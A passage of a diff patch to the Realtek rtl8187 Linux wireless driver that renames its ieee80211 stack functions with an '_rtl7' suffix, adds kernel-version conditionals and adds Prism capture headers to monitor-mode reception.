stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_module.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_module.c 2008-01-30 17:38:11.000000000 +0100 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_rx.c 2008-01-30 17:38:11.000000000 +0100 @@ -13,16 +13,15 @@ * more details. ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ - + #include -#include #include #include #include @@ -43,18 +42,89 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); +#else + skb_reset_mac_header(skb); +#endif + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +134,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +164,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +203,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +216,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +226,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +248,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,13 +257,13 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); - + return 0; - + #ifdef NOT_YET if (ieee->iw_mode == IW_MODE_MASTER) { printk(KERN_DEBUG "%s: Master mode not yet suppported.\n", @@ -253,7 +323,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +364,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +374,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +409,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +419,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +437,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: 